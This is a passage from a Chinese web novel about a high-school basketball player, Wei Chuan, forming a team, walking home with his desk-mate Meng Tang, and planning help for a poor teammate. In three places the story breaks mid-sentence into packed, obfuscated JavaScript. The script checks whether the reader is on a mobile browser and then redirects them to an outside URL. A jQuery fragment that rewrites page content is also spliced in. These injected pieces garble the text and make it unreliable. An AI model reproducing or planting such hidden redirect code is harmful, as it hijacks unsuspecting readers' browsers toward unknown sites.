魏川瞥了眼孟棠,说:“海报上写的是标准人数,但其实我和周老师都没有指望能招到这么多人,所以核心招募的人数是八到十人。” 这也是没有办法的事,要兼顾赛事规则,这也是实际比赛轮换的最优解,也是小地方高中篮球队的主流配置。 最低都得八个人,一旦低于这个数,会面临受伤或犯规下场就无人可换的绝境。 八到十人刚好能做到一节一换的核心,半场轮换内线,避免主力队员体能透支。 加上他,目前已经四个人了,再来四个人就可以展开训练了。 四个人,如果周老师相中的那两个人愿意过来的话,再招募两个就会容易很多。 孟棠似懂非懂,到现在也没个时间去看看篮球比赛的视频。 “你以前比赛的视频在网上能搜到吗?”梁菲菲抬眸,“我有时间和孟棠一起看看。” 孟棠一顿,先看了眼魏川,才转头抵了下梁菲菲:“我什么时候说要看了?” “看看怎么了,反应这么大?” “……” 魏川立刻给孟棠发了几个链接过去,说:“这些网址都可以看。” “……” 梁菲菲笑了声,调侃的意味十分明显:“你怎么迫不及待的?” 魏川后知后觉,还没回答,手机响了。 他拿出来看了眼,是陌生号码,本地的,直接接了。 孟棠看到了他眸中一闪而过的惊讶,紧接着魏川开始说起篮球队的训练,她就知道应该是有人想要报名。 可他看着,并不像之前那样激动。 等魏川挂断电话,孟棠好奇地问了句:“是要报名的人吗?” “周飞。”魏川望着她,“他说要加入篮球队。” 孟棠:“……他会打篮球吗?” 魏川点了点头:“其实会,就是技术可能不到家吧。” “那你——”孟棠欲言又止。 “可能不合格。”魏川说,“但他一直让我给他一个机会,我让他去找周老师了,我跟他毕竟同班,拒绝了结仇也不好,周老师的身份更好说话。” 梁菲菲朝他竖起大拇指:“你这人情世故真的不错。” 魏川其实不愿意收周飞,一个体委,体能还不如班里的其他男生。 但开学的时候,魏川和班里的男生打过一场篮球,之后再没打过,就知道水平不行。 但高三有个叫庞博的学长,打球还可以,他看中了人,只是可惜,连着训练和场地建设最起码要一年。 那时候人家都毕业了,也就不可能再代表雁清中学出战。 所以和周沉商量过后,他们不招高三生,只招高一和高二的。 吃过饭,才七点出头,路上行人和车辆正是多的时候,三个人出了餐厅,魏川抬头望了眼天色,对梁菲菲说:“我跟孟棠先送你?” “别别别,我爸爸会在楼下等我,我往回走个十来分钟就到了。”梁菲菲赶紧拒绝,“你俩离得远一点,赶紧走吧。” 她吃得有点撑,顺道逛逛,都是大路,危险性很低。 魏川和孟棠对视一眼,站在原地等梁菲菲走了才一同转身。 “走一走?”魏川饭量一向大,两个女生吃得不多,他又不爱浪费,基本被他扫光了。 孟棠好久没有感受过雁清的晚风,鬼使神差点了点头。 他们回去要过马路,魏川跟着孟棠等红灯,就站在她后面一点点,从路人的视角看,两人的姿态比较亲密。 而孟棠在前,完全没注意魏川的余光一直落在她身上。 孟棠整个人的气质很独特,又冷清又温柔,安静的神态里藏着点疏离的冷冽。 她也不常笑,看人的时候甚至有些呆,像她家后院未开胚的木头。 除了校服,他有幸见过几次她的私服,偏浅色,低饱和度的素色衣服,面料多是棉麻、针织,以舒适为主。 这也看得出来,她真实性格是比较随性的。 绿灯亮,两人跟着人群过了马路,孟棠下意识回头,看魏川有没有跟上。 结果他就在自己后边,孟棠往旁边给他让出条道,魏川一把扯住她的胳膊,将她往里推:“走里边儿,这道怎么连一块儿了?” 一不小心就得被电动车的后视镜刮到。 两人靠着右边走,旁边一排都是小吃摊,两人完全没兴趣,只顾着往前走。 五六分钟都是沉默的状态,魏川憋不住了:“你怎么不说话?” 孟棠不知道说什么,其实刚才过马路的时候她就后悔走路回家了。 一男一女,又是晚上,还穿着校服,总觉得怪异。 而且路上总有人朝他俩看。 孟棠不自觉加快步子,魏川追得很轻松,毕竟腿长。 “你慢点走,小心摔倒。” 话音刚落,孟棠被翘起来的地砖绊了一脚。 “小心。”魏川心脏一紧,眼疾手快托住了她的手臂。 “谢谢。”孟棠也被吓了一跳,裤腿一阵湿凉,低头一看,才发现是雨的积水溅了上来。 “你鞋子湿掉没有?”魏川见状,给她掏出纸巾。 孟棠接过后摇摇头:“没湿,裤腿只有一点点。” 她蹲下身,用纸巾吸了裤腿上的水。 “走吧。” 往北走,大路上的行人明显减少。 魏川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106528|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然笑了声:“你知道我妈来的那天,我俩去哪儿吃饭了吗?” “去哪儿了?”孟棠跟着附和。 “就是你带我去的面馆,老板还问起了你,我妈也问我你是谁。” 孟棠一怔:“问**什么?” 魏川:“随口问问,可能是比较好奇我在这里交到的第一个朋友。” “……” 她还真是他在雁清的第一个朋友。 当初就是因为这个原因一时心软,答应和他坐在了一起。 没想到交集越来越深。 搁一个月以前,打死孟棠也不相信她会和一个男生大晚上的压马路。 她情愿闲暇时间全都泡在木雕房里,任何人都没她那堆木头可爱。 但魏川这个人,太热情了,热情到一般人难以招架。 他也没什么大少爷的架子,孟棠意外地发现,两人聊得来。 比班上大多数人都聊得来。 高二后面几个班都是艺术混班,大家学的专业不一样,上课的地点也不一样。 集体荣誉感差了点,反倒是相同专业的熟悉一点,教室对他们来说就是上文化课的地方。 一天下来,有一半时间在画室、操场、舞蹈室……彼此之间交不成朋友也很正常。 孟棠也就和梁菲菲说得来。 而梁菲菲也是热情大方的那一类人,本质上来说和魏川是很像的。 孟棠偶尔怀疑自己的面相是不是什么苦命文学的女主,不然怎么尽招些小太阳。 不过,和他们成为朋友的感觉,还不错。 孟棠突然停住脚步,朝魏川伸手:“那就……很高兴认识你。” 魏川先是一愣,随**上去,也笑道:“我也很高兴认识你,孟棠同学。” 孟棠莞尔:“快到了,前面咱们就要分开。” “我送你到家门口,前面那条小路太黑了。”魏川说,“我不放心,刚才梁菲菲走的都是大路,这边都没人了。” “你没来之前我也常走,而且我身上有刻刀。” “……又来,你觉得用刻刀防身是什么好事情吗?如果你没有控制住力道,把人弄伤弄残,你不用负责吗?” “那我也没别的办法。” 终于到了岔路口,魏川跟着她拐了弯,这里的路灯很老旧,散发着微弱荧光。 等进了黑暗的小路,魏川突然小声地问了句:“你爸妈呢?” 孟棠脚步一顿,钉在了原地。 她自认为没有和魏川熟到可以袒露心声的地步,但她也没有生气。 只是有些事情难以启齿,不说也罢。 魏川屏住呼吸,意识到自己冒犯了,刚要开口道歉,孟棠轻嗤了声:“离婚了。” 魏川直觉她没有撒谎,但也没有全说实话。 她在孟家,即便她父母离婚了,可那座院子里没有她爸爸的身影。 魏川去过两次,那里完全没有一个中年男性生活的痕迹,只有她、方姐和老头三个人。 不过再深问就不太礼貌了,孟棠显然也不打算多聊。 到了孟家门口,孟棠转过身,给他指了条道:“你直接从这里直走,拐上大路再左转就是你家小区。” “我知道。”魏川抬手挥了下,“那我走了。” “嗯。”孟棠应了声,见他没了身影才转头回了家。 老爷子早就在工坊里等着她了,孟棠回到房间换了衣服,片刻不耽误去了后院。 一节木雕刻近两个小时,孟棠却丝毫不觉得枯燥无聊,有的都是习惯。 放假期间,雁清中学依旧有老师值守,尤其是那些学艺术的,最起码画室和舞蹈室是开放的。 而魏川和宋冕几个人约的也是学校,周沉作为教练,在一旁记录数据。 国庆节这天学校不开门,魏川带着球去了体育馆,体育馆后面有一个超大的篮球场,几乎爱好篮球的人都在那边。 每次一有厉害的出现,他们能把球场围得水泄不通。 顺利会面,几个人互相介绍了下,周沉都认识,作为教练,也作为中间人,让几个男生很快熟悉起来。 周沉看了眼手表,说:“我还叫了两个人过来,今天约了一支陪练队伍,看看怎么样。” 第372章 【if线 17】童养夫 魏川不禁感谢自己发现了周沉这么一号人,还没正式训练,只是假期试探一下对方的实力,结果给他搞来了一支陪练的球队。 “可以啊周老师。”魏川很高兴。 周沉笑了声:“好歹在雁清这么多年,这点人还是能找来的。” 这点人?魏川挑了挑眉,这人太谦虚。 除了宋冕三人,他找来了一中的两个学生——段思齐和陈瑞。 这两个学生是周沉十分看重的,希望他们能转到雁清中学的好苗子。 今天将加入魏川这队,和陪练团过过招。 “不过你这陪练团哪儿来的?”魏川对他们的兴趣甚至多过自己的队友了。 “两个技校的,一个送外卖的,还有一个是我小表弟。”周沉说。 “还有一个呢?” “还有一个实在找不到人了,让一个女生顶替了,不过她实力很强的,打篮球纯粹是个人爱好,她以前是我学生,没考上大学,现在在奶茶店工作,你介意对方是女生?” “我介意这个干什么。”魏川觉得莫名其妙,“很多女生打篮球比男的还厉害,以前我们学校那些专业的女篮,哪个不是赛场上意气风发的战士?” “那就好。”周沉抬手看了眼运动手表,“这些兔崽子怎么还不来?拖拖拉拉的。” “来了。”魏川抬手指了下,“那不是吗?” 浩浩荡荡一群人,彼此也不认识,正好凑一起了。 周沉作为两边的桥梁,立刻给两拨人做了介绍。 “我靠,还有姐姐啊。”宋冕笑嘻嘻地看向程茵。 程茵个头很高,留着长发,五官很清丽,看着和身高不太搭。 “我看着像模特,不太像在奶茶店工作的。”魏川和她打了招呼。 不止一个人这么说过,程茵已经免疫了。 一群人打招呼就打了十来分钟,彼此熟悉了下,周沉让他们自动分成两队。 宋冕、时巍、钱逊、魏川和段思齐组成一队,对方没有替补,陈瑞也就不下场。 周沉目光巡视了一圈,对魏川几个人说:“过来把咱们队的位置定下来。” 魏川率先走过去,宋冕几人紧随其后,只有段思齐懒洋洋的。 他的身高体型和魏川差不多。 周沉拍了拍手,问其他四个人,指了指魏川:“都认识他吗?” 段思齐说:“z中双能卫,电视上看过。” 宋冕三人也齐齐点头,在加入球队的时候,他们就搜索过魏川,也是看上他能力,才觉得这个队伍有希望,这才商量了一番,加入了进来。 “行。”周峰随意拿出随身携带的纸笔,“常规阵容,魏川还打以前的位置,主控兼顾得分,串联全队,没问题吧?” 还不等魏川回答,段思齐突然开口:“我也想试试双能卫。” 他以前一直苦于没有机会,青少年篮球比赛里,他最喜欢的人就是魏川。 话一出,四周安静下来,周沉顿了下,说: “我知道你的实力,但双能卫,不只是控球准、投篮好就够了。魏川的大局观比你强,他受过最专业的训练,也拿过很多荣誉,我不客气地说,这个位置,没人能比得上他,你们都是打篮球的,知道双能卫不好打,能力不足的话两头都兼顾不了,变成双不能卫,就会沦为笑柄,目前为止,他还没出现过失误,每一次在赛场上都发挥得无比出色。” 段思齐刚要反驳,周沉又道:“我们时间本来就不多,我按照你们每个人的能力定下了位置,魏川是核心,整个队伍都靠他拿分,我希望你们能够在最短时间内磨合好,这样才能用最短的时间参加比赛。” 魏川抓到周沉话中的重点,比赛?他这话说得十分肯定,难道段思齐和陈瑞答应来雁清中学了? 他也一副教练的口吻,十分理所当然。 见段思齐还在犹豫,魏川主动上前,说:“周老师给我说过你的优点,是爆发力,擅长快攻终结,但大局观和传球视野,你确实比不过我。” 他和全国最优秀的队伍打过比赛,丝毫不落下风,两队平分秋色,今天你赢,明天他赢。 魏川这话说得十分自信,还有点狂妄,但段思齐知道他说得对,最终还是点了点头,同意了周沉的安排。 “魏川是球队核心,主打控球组织、串联全队,兼顾外线投篮和突破得分,负责把控场上的节奏。”周沉一句废话没有,开始明确位置,“记住,你的职责是带起全队的节奏,不是单打独斗,这一点不用我强调,你以前就做得很好。” 这些话魏川早就听烂了,但他还是十分郑重地应了声。 虽说只是一次普通的练球,但也是他来雁清的第一场“比赛”。 “段思齐,得分后卫。”周沉看向段思齐,“你是魏川的外线搭档,主打外线投篮、快攻终结和弱侧接球得分,同时也要兼顾外线防守,阻止对方得分后卫突破和投篮。” “宋冕,小前锋,球队锋线核心。主打侧翼突破、中距离投篮和锋线防守,也要帮内线分担防守的压力,同时,还要配合魏川的组织。” 宋冕感觉到一股热血往脑门上涌,他不自觉挺直了腰背:“是。” 周沉十分欣慰,转头说: “时巍,大前锋,钱逊的内线搭档。重点是守护内线,抢下进攻篮板和防守篮板,配合魏川打挡拆,同时防守对方的大前锋,阻止对方内线得分。” “钱逊,中锋,内线支柱。负责守护球队最后一道防线,配合时巍形成内线双塔,巩固内线优势,都明白了吗?” “明白。” 魏川朝他竖起大拇指:“老周啊,你真的很专业。” 他也不得不佩服。 从周老师到老周,就是他对周沉业务能力的肯定。 “少来。” “老周,你鱼尾纹都笑出来了。”陈瑞在一旁看热闹不嫌事大。 “滚蛋。”周沉挥了下手,“来吧,有没有信心?” “有!” 震天一声响,那种熟悉的感觉又回到了魏川的体内。 双方就位,钱逊率先抢到球,紧接着他瞄准间隙将球给了魏川,对方两名防守围上来,魏川脚下一顿,一个漂亮的变向,轻松摆脱防守。 与此同时,段思齐沿着边线快速跑位,也摆脱了对方的防守,张开了双手,示意林砚传球。 魏川没犹豫,手腕一翻,一记精准的横传,稳稳地送到了段思齐手中。 段思齐接球后,立刻起跳,得了一记漂亮的三分球。 魏川朝他竖起大拇指:“漂亮!” 段思齐抿了抿唇,他确实有大局观,刚才不过是试探他会不会传球,结果他传了,还夸了他。 靠,偶像夸他,这是什么感觉?段思齐有点飘飘然。 这个位置其实很好,不用组织,只要找准机会,果断出手就好。 晃神的瞬间被对方抢了球,没想到对面率先进球的是程茵,魏川有些惊讶,她打球很老道。 只是可惜了,已经毕业很多年了,但凡生在大城市,或许有机会打篮球。 双方对阵继续,对方控球后卫运球推进,试图突破魏川的防守。 他重心压低,不给对方任何突破的机会。 对方见状,只能传球给侧翼的小前锋,宋冕立刻上前防守,身体对抗间,死死盯着对方的球,趁对方传球失误的瞬间,一把抢断,快速将球传给魏川。 就连周沉也惊讶了,他们抢到球的第一瞬间都是传给魏川,好似很信任他,但这也代表他们过于依赖魏川。 魏川虽然是核心球员,但整个团队要相辅相成。 他说大家要配合魏川,结果老老实实照做不误,还真指望魏川一个人进球吗?他也不是机器,也会累的,不可能全场下来都在。 那么,到时候没有魏川的阶段,他们又怎么办? 周沉将这些问题一一记在心里,打算今晚一起聚餐的时候好好说道说道。 魏川接过球后,立刻发动快攻,他的运球速度是极快的,快到其他人都跟不上。 时巍和钱逊回防内线,魏川冲到对方半场的时候遭遇了对方的包夹。 他也不过多炫技,判断后,背后传球,送到了钱逊的手中,只是可惜,钱逊没中。 他瞬间有些泄气,魏川拍了下他的肩膀,示意他继续。 毕竟是第一次组在一起,暴露出很多问题,首先就是默契,即便打了两节,也丝毫看不出默契。 这球打得很累,基本靠魏川一个人得分,另外一个表现最好的就是段思齐。 这让魏川很惊喜,休息的时候,他抵了抵段思齐:“来吗?” 段思齐知道他说的是什么,他喝了口水,说:“家里可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他对自己找来的陪练团说:“一起吃饭去,我请客。 除了他小表弟,全都拒绝了,两个要回学校,一个要去送外卖,还有一个要去摇奶茶。 周沉哭笑不得将人送走了。 几个年轻人被周沉带去了餐厅联络感情。 男孩们性格都外向,一顿饭工夫就熟了。 魏川很欣赏段思齐,他瞥了眼陈瑞,问他:“你那个朋友打球怎么样?” 段思齐毫不客气地说:“能替宋冕。” 魏川讶异地挑眉,竟然不是时巍和钱逊,毕竟这三人中,宋冕的实力还可以。 段思齐似乎知道他的心思,小声说:“以后你会知道,陈瑞的实力高于宋冕,不过你们的队人很少,宋冕自然可以留下来的,不过——” 魏川知道他要说什么,同位置的两名球员,常规情况下必然有一人担任替补。 周沉拍了拍手,总结了下午的比赛,分析了优缺点,洋洋洒洒说了一大堆。 好不容易停止了,魏川提议大家加个好友,周沉干脆拉了个群。 群里包括今天下午的陪练团。 等以后正式成队,还会建立一个雁清中学篮球队的群。 国庆七天,魏川都泡在学校的操场上,段思齐和陈瑞每天必到,宋冕三人也克服种种困难每天都过来。 魏川对他们的坚持很满意,也初步给了他一些信心。 假期最后一天的下午,太阳落山之际,魏川收了球:“走,请你们吃饭,吃大餐。” “川哥威武。”宋冕高喊,俨然魏川的小跟班。 “马屁精。”钱逊吐槽了句。 “你倒是拍啊。”宋冕不服,“哦,某些人只能拍在马腿上。” 钱逊当即和他你来我往地“打”了起来,雁清中学的篮球场有一道铁丝网围了起来。 几人出了铁丝网大门,遇上了从画室出来的美术生,孟棠就在其中。 魏川眼睛一亮:“孟棠。” 孟棠下意识抬眸,却从他的脸色掠过,停在了段思齐的脸上。 “**。”段思齐立刻捂住了脸,生怕对方认出来。 魏川抵了抵他:“你俩认识?” 段思齐先是点头后是摇头,魏川不耐烦了:“到底认不认识?” “认识。”陈瑞幸灾乐祸道,“老段差点成了人家的童养夫。” 魏川:“……!?” 什么封建东西? 第373章 【if线 18】抓早恋的 孟棠和梁菲菲从画室出来,打算吃个饭回教室上晚自习,没想到会在操场门口看到魏川。 他还十分高调地同自己打了招呼,乌泱泱一群人,除了魏川,她还看到两张熟悉的面孔。 段思齐和陈瑞怎么在这里? 本来想打个招呼就走,结果梁菲菲挽住她手臂:“靠,有帅哥,过去看看。” “诶?”孟棠步子有些拖沓,“不是吃饭去吗?” 梁菲菲说:“他们肯定也要吃饭,顺道的事,不妨碍我看帅哥。” “你说的哪个啊?” 这群人里最突出的不是魏川吗? 结果梁菲菲和她心有灵犀:“你眼里是不是只能看到魏川,他旁边的那个啊,挡着半张脸也看得出来很好看。” “你说段思齐啊?”孟棠问,“穿着发白T恤的那个?” “你认识他啊?”梁菲菲一喜,“给我介绍一下呗。” “你要干嘛?不会真有那心思了吧?”孟棠戒备心起。 “认识一下帅哥呗,魏川这样的,我心知肚明配不上,旁边那个我觉得我配得上吧?”梁菲菲把魏川和段思齐做了个比较。 孟棠:“……他家情况有点复杂,你别凑这个热闹了。” “什么情况啊?”梁菲菲问。 魏川到跟前了,孟棠赶紧说:“以后再说吧。” “你——” 魏川刚要问她俩干嘛去,孟棠直接掠过他,朝他旁边的陈瑞和段思齐看去:“你俩怎么在这儿?” 或者说,他俩怎么会和魏川在一起,他们不是一中的吗? 段思齐尴尬地呵呵两声,陈瑞笑着给她解释了他俩为什么会在这里的原因。 魏川静静听完,在三人之间互相打量,看着还挺熟的。 不过这会儿人多,有些事也不太好问,魏川便道:“吃饭去?” 他们人太多,孟棠摇摇头:“我跟菲菲就不跟你们一起了。” “一起吃吧。”陈瑞说,“咱们也好久没见了,孟师傅身体还好吗?” “还可以。”孟棠说,“我们就在校门口随便吃点,你们——” “一起吃吧。”魏川截断她的话,“我正好有点事想要问你。” 语气挺严肃的,孟棠以为是正事,一旁的梁菲菲也拽了她的衣摆。 孟棠点点头:“那就一起吃吧。” 魏川也不打算走太远,毕竟打了一天的球,很累了。 他们去得早,八个人直接占据了二楼靠窗的圆桌。 “我还没来过这家店的二楼。”宋冕拉着椅子坐下,“这大圆桌不会是老板一家吃饭的地方吧?” “我看挺像的。”时巍半开玩笑。 魏川直接挥了挥手:“你俩往里坐。” 两人默默挪了屁股,之后梁菲菲和孟棠也被魏川安排了位置。 他自己则是往孟棠旁边一坐。 陈瑞和段思齐互相交换了一个眼神,显然对于他和孟棠的关系有所猜测。 几个人点了菜,三两个人聊作一团,陈瑞和段思齐坐在魏川和孟棠的对面。 陈瑞“诶”了声:“你俩一个班啊,看着挺熟的。” “同桌。”魏川幽幽道。 “同桌啊……”陈瑞的语气有些荡漾,宋冕那三个人也笑得不太对劲。 魏川一脸不解:“看着**什么?” 梁菲菲似有所感,在桌下踢了下孟棠,结果她更呆。 正好店员开始上菜,这家餐馆比较杂,什么都有,不知道的还以为他们几个人烧菜吃,结果是自己点自己的。 孟棠点了炒面,魏川跟着她点了一模一样的。 孟棠吃饭的时候几乎不说话,别人问她了,她才会迎合一声,也就忘了魏川说有事问她。 直到吃完出了餐馆,她才想起来。 魏川正好陈瑞、段思齐说话,仔细一听,是他俩要不要来雁清中学的事情。 “我很简单,老段过来我就过来。”陈瑞耸耸肩,“要不你还是做做老段的思想工作。” 魏川转头看着段思齐:“我不知道你有什么困难,但我知道你想要打篮球,这可能是你这辈子唯一的一次机会。” 言尽于此,他也只能这样说了。 他总不能把人绑过来。 回学校的路上,很快分道扬镳,最后只剩下孟棠和魏川。 魏川眉头紧锁,忽然在公示栏前停下了脚步,孟棠不解地回眸,不回教室吗? 很明显,段思齐犹豫不决是因为家里的事情,魏川不好贸然去人家家里打扰。 他突然想起孟棠和段思齐认识,说不定她知道些他家里的情况。 魏川干咳了声,说孟棠说:“先别回教室吧,咱俩找个地方坐一下,我有事问你,关于段思齐的。” 孟棠点了点头,两人来到教学楼西侧一个台阶上,平时大家回教室,基本走东侧,那边近一点。 孟棠在最上面的台阶上坐下,等魏川也坐了下来,才问:“你要问段思齐的什么?” “我想问他的家里人。”魏川侧眸,“这几天我都跟他们在一起打球,段思齐能力不错,我和周老师都想挖他过来,但是他好像有顾虑,我问他他也不说。” “自尊心作祟。”孟棠说,“他家里情况比较复杂,人口也多,你从他的穿着应该能看得出来,他家境不太好。” “他不能打球跟家境有关?”魏川问。 “段思齐是孤儿……”孟棠缓缓道来。 段思齐跟着养父母姓,领养他的时候,养父母没有孩子,三年后自然怀孕生了个儿子,两年后又生下了一个闺女。 家里人觉得段思齐是福星,对他更好。 只是好景不长,他养父在工地上摔进手术室,没抢救回来。 本来有赔偿金可以维持一家四口的生活,但他养母郁郁寡欢患病,赔偿金全都花在了她身上。 还好手术成功,想着年幼的孩子,硬生生挺了过来,不过做不了重活,只能在家做做手工补贴家用。 段思齐一个高中生,既要兼顾自己的学业,又要帮着照顾还小的弟妹,空余时间都用来兼职去了。 魏川听完,眉头一直松不下来。 “这也太苦了。” 孟棠点了点头:“生活所迫,有时候确实没有办法,他情况特殊,你可以稍微多给他一点时间,他养母很开明的,他一直没答应是他自己在犹豫。” “有什么办法可以帮到他吗?”魏川只能想到钱。 “知道你有钱,但有钱也不能随便撒吧?”孟棠不赞同这种方式,“你觉得他能接受吗?” 现在的段思齐不是快要饿死的乞丐,只是家里贫穷一些。 要想帮助他,前提是尊重。 自尊心或许没什么用,但可能是他目前唯一拥有的东西。 魏川叹了声气:“那你觉得他一直犹豫的原因是什么?” 孟棠想了想,说:“他弟弟妹妹一个初中,一个小学,平时他照顾得多,可能是这个原因。” “这还不简单?让他弟弟妹妹住校啊,学校不管他们吗?这点费用也不能免掉?” 孟棠摇摇头:“这个我就不知道了,我已经快半年没见他了。” “才半年?”魏川陡然变了语气,变得试探,“你俩之前经常见面?” “他以前会在木雕馆兼职,跟爷爷也熟悉,自然就认识。” “那……”魏川瞥了眼她,欲言又止。 “嗯?”孟棠疑惑地迎着他的目光,“你要说什么?” “你跟段思齐……小时候是不是经常在一起玩?” 孟棠一脸懵地摇摇头:“你到底要说什么?” “童养夫。”魏川干脆破罐子破摔,“他差点成了你家的上门女婿?” 孟棠差点被自己的口水呛死,她不可置信地看着魏川:“谁跟你说的?” “所以说是真的?”魏川答非所问。 “什么真的。”孟棠嘀咕了句,“那是因为小时候他家穷得快揭不开锅了,段思齐毛遂自荐来我家当学徒,我爷爷开玩笑要是当了他的徒弟就得当上门女婿,左邻右舍调侃调出来的。” 魏川:“……那他怎么没有当成学徒?” “自然是把我木头弄坏了。”孟棠说,“笨手笨脚的,不适合干这行。” “后来爷爷跟木雕馆的人说了,让他帮忙送送货。” “他那会儿才几岁,就能送货了?有劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟棠稀里糊涂被安排了,她一口气跑到三楼,从后门喘匀了才推开教室的后门。 刚回到座位,教导主任拿着手电进了教室:“你们班刚才进教室的一男一女是谁?” 所有人一脸茫然,哪有一男一女进了教室。 孟棠的心提到了嗓子眼儿,还好魏川先去了厕所。 教导主任也气喘吁吁的,他看了一圈,气急败坏地出了门,刚到门口,碰到了魏川。 “主任。”魏川一脸正大光明地打了招呼。 “你刚才在哪儿?” 那身形看着和魏川有些像。 孟棠看到他穿上了校服,心里松了口气,刚才在楼下,他还穿着卫衣呢。 主任应该没那么火眼金睛吧? “厕所。”魏川答。 “你在厕所干什么?” 魏川:“……总不能是吃饭。” “哈哈哈……”全班爆笑,惹得主任脸上青一块白一块的,知道自己是问了废话,这祖宗也不能得罪,他只能指了指教室,“进去吧。” “好嘞,谢谢主任。” 直到在位置上坐下,他才朝孟棠挑了下眉,孟棠默默转开了视线。 今晚梁璐坐镇,所有人吭哧吭哧补着假期作业,就连孟棠还剩点。 魏川还是想早点解决段思齐的事,第二天一早就给陈瑞发了信息。 两个人不在一个学校,只能通电话。 他问了段思齐弟弟妹妹的事。 “就知道你会问,有孟棠在,你肯定会打听的。”陈瑞丝毫不意外接到魏川的电话,“老段的弟弟妹妹一开始也是住校的,只不过两个都是闷葫芦,在学校被欺负也不敢说,生怕给他哥造成麻烦,老段气不过,把人打了一顿,也就没让他弟妹住校了。” 原来是这样。 “他现在唯一的顾虑就是他弟弟妹妹吧?” “对,他弟弟还好,毕竟初中了,妹妹还小,照顾自己有点费劲。” 魏川挂断电话,去找周沉了,寻思着能不能找个办法。 第374章 【if线 19】接孟棠 魏川找到了周沉,周沉也在为段思齐的事情想办法。 魏川不客气地拉过椅子在周沉的对面坐下,说: “周老师,你不觉得我们解决问题的角度不太对吗?归根结底是段思齐的弟弟妹妹没人照顾,不能住校就得专门有个人照顾,他养母呢?” 周沉叹了声气:“手术是成功了,但生的是大病,已经复发了。” 魏川:“……段思齐不知道?” 周沉摇摇头:“加上你,只有两个人知道,另一个人就是我,我早在你和我1v1的当天就去了段家,发现了这个秘密。” “……”怪不得陈瑞没给他说,不知道怎么说呢? 魏川沉默了许久,说:“一中环境不好,干脆让他弟妹都转学吧,这事我可以办下来。” “都转学?”周沉蹙眉,“转学不是一件小事,他们在别的学校习惯了,老师同学都很熟悉。” “又不是从北京到云南,有什么不能习惯的。”魏川说,“不过就是从一个学校到另一个学校,两个小孩肯定更愿意和他们哥哥在一起。” 这话倒是不错。 “雁清中学是这里最好的一家学校了,又是十二年一贯制学校,到时候让他弟妹住校,段思齐也能沉下心训练。” 周沉点点头:“这或许是个办法,万一他们的妈妈出事,住校也能避免睹物思人。” 繁重的课业也能拉住沉重的他们。 魏川又道:“他想兼职有的是事做,就拿咱们球队来说,开门锁门、打扫场地、看管器材……这些事情都可以给他做,但是事情太多,他肯定做不过来,问问家境同样不太好的钱逊愿不愿意和他一起,像整理球队的衣服、鞋子和护具,统计装备的损耗、记录数据等等都需要人,这个又不是白做的。” “如果周老师你有周末赛事协助的资源,也可以让他去当记分员、记录员或者场务,这种一般是一天一结吧。然后我们球队是按照z市最高标准来的,还有各种补贴和赞助,当然,这个赞助嘛只能我爸来了。” 比较他们还没名气,吸引不来运动品牌和本地商家以及家长们的赞助。 “训练、出勤、装备、比赛……”魏川掰着手指头和周沉讨论,“这些都有一份基础的补贴,可以再给他额外多一份岗位补贴,另外还可以拿全勤奖。” “如果我们配合默契,大家都能认真训练,达到比赛最基本的要求,侥幸赢得赛事,更会有各种各样的奖金。” 周沉完全被魏川说动,他情绪也有些激动,补充道: “如果顺利让他们三个过来,学校层面也可以申请贫困补贴和家庭经济困难的补助。” 魏川“嗯”了声:“老周,你去找段思齐谈一谈吧,把我的想法告诉他,至于他养母的事,你自己选择说不说,但如果是我,我会希望我是知道的。” 周沉点了点头:“我下午没课,待会儿就去。” 魏川这才回了教室,回去之前,他给魏立峰打了个电话:“喂,爸,有件事我想让你帮我个忙。” 转学这事太费精力,他得找个专门的人来办这件事。 其实只要他爸爸出面说一句,校长会上心的。 毕竟学校该换的设施都换了,后续资金也会慢慢打进来,而且魏立峰还说可以安排一个访谈,让校长一心为学生的事迹被报道出来。 校长当即笑开了眼,倒不是采访,只是帮助学生是他分内的事。 段思齐能让魏家小少爷看中,未来说不定也是个苗子。 雁清中学打出名声来,对他来说只有好处。 不过就是转学,只要按照正规流程走,一切都能办下来,他们又都是雁清本地人,审核起来也会很快。 刚进教室坐下,狂风呼呼,魏川下意识问了句:“这是要下雨?” “应该是,看着还不小。”他前头的人回答了声。 话音刚落,玻璃上噼里啪啦砸下水珠。 魏川下意识瞥向一边,位置是空的,孟棠现在在画室,而她没带雨伞。 早上天气还很好,大多数人都没带伞。 这雨说来就来,还不小。 不知道晚自习结束能不能停了。 魏川趁着课间,给家里阿姨打了个电话:“带两把伞,今晚开车来接吧。” 阿姨赶紧应了声。 随后,他又给孟棠打了个电话。 彼时孟棠正和梁菲菲商量晚上怎么回呢,就接到了魏川的电话。 “发什么愣,接啊。”梁菲菲推了她一把,简直把她给急**。 孟棠回神,赶紧接了起来。 画室里人不少,她直接起身去了外头的走廊。 刚接通,手机里传来魏川的声音:“你没带伞吧?” 孟棠点了点头,随即意识到魏川看不到,补充了句:“没带。” “我让阿姨带了伞,让她开车来接的,放学后你在画室等我,顺道给你接上。” 孟棠从窗口看到梁菲菲,问了句:“能把菲菲也带上吗?她爸爸出差了,妈妈夜班,梁老师今天也不在。” 其实不用解释那么多,魏川也会答应。 “行,那你俩就在画室等我,到时候先送她。” 孟棠说:“谢谢。” “谢什么啊,咱不是顺道吗?还是同桌,这点乐于助人的精神我还是有的。”魏川失笑,“不过,我还以为你会拒绝。” 